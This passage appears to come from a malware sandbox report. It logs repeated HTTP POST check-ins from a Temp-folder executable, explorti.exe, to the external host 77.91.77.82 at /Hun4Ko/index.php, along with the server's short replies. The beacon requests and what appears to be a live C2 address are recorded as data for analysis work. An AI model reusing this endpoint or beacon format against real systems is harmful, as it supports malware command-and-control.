81	192.168.2.4	49870	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:43.135940075 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:43.853832960 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49872	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:43.864859104 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:44.600991964 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49873	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:44.726831913 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:45.463965893 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49874	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:45.473587036 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:46.172044992 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49875	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:46.294495106 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:47.016733885 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49876	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:47.027668953 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:47.753051043 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49877	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:47.869509935 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:48.616511106 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49878	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:48.627835989 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:49.367054939 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49879	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:49.480267048 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:50.200644016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49880	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:50.212413073 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:50.930720091 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49881	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:51.176230907 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:51.906362057 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49882	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:51.916280031 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:52.635015011 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49883	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:52.762129068 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:53.470096111 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49884	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:53.479815960 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:54.176703930 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49885	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:54.301605940 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:55.019486904 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49886	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:55.027920961 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:55.724493980 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49887	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:55.839273930 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:56.568367004 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49888	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:56.577802896 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:57.294785023 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49889	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:57.428664923 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:58.139054060 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49890	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:58.162307978 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:35:58.887814999 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49891	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:59.009884119 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:35:59.709424019 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:35:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49892	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:35:59.719726086 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:36:00.431210995 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49894	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:36:00.544388056 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:36:01.256695032 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:36:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49895	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
